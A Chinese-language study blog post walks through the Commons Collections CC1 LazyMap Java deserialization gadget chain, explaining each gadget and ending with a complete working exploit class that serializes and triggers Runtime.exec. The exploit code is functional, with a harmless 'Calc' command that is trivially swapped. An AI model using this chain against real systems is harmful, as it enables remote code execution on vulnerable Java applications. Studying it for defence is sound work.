CC1-LazyMap

发布时间 2023-08-08 23:16:29作者: sketch_pl4ne

参考链接

https://y0n3er.github.io/undefined/36068.html
https://www.bilibili.com/video/BV1yP4y1p7N7/

攻击链分析

这里直接用ysoserial上的链子,和TransformedMap对比一下
可以看到,把TransformedMap改成LazyMap了,然后两个AnnotationInvacationHandler
image.png
下面分析一下gadget链子:

  1. InvokerTransformer.transform()能够执行命令
  2. LazyMap.get()能够调用xxx.transform(),xxx对象可控
  3. AnnotationInvocationHandler.invoke()调用了xxx.get(),xxx对象可控
  4. AnnotationInvocationHandler.readObject()调用了xxx.entrySet(),xxx可控制为代理对象

编写EXP

前面和TransformedMap一样,这里直接从LazyMap开始。

LazyMap.get()

get()里调用了transform(key),用了ConstantTransformer辅助类,就不用管这个key参数
image.png
map和factory都是可以控制的,factory要传那个chainedTransformer对象,map绕绕if判断就好
image.png
尝试构造EXP:

Transformer[] transformers =  new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get("Jasper");

image.png

AnnotationInvocationHandler.invoke()

这个invoke()实际上就是动态代理用的,创建代理对象语句Proxy.newProxyInstance()的参数里如果传了这个AnnotationInvocationHandler的对象,创建出来的代理对象不管调什么方法都会走进invoke()方法
image.png
memberValues也是可控的,这里要传LazyMap的对象lazymap
image.png

AnnotationInvocationHandler.readObject()

这里其实不一定要这个类,只要找到能控制传一个代理对象.方法()的类就行
上面知道这个memberValues是可控的,这里的我们传lazyMap对象的代理对象lazyMapProxy
lazyMapProxy.entrySet()就会走进上面的invoke()
image.png

最终EXP

public class TestCC1  {
    public static void main(String[] args) throws Exception{
        //CC1-TransformedMap
//        Transformer[] transformers =  new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
//        };
//        Transformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap<Object,Object> hashMap = new HashMap<>();
//        hashMap.put("value","Jasper");
//        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
//        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
//        aihConstructor.setAccessible(true);
//        Object o = aihConstructor.newInstance(Target.class,transformedMap);
//        serialize(o);
//        unserialize();
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        serialize(aih2);
        unserialize();
    }


    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

image.png

小结

经过之前跟的链子,这条跟起来十分轻松,主要是学习动态代理花了不少时间,基础有点差。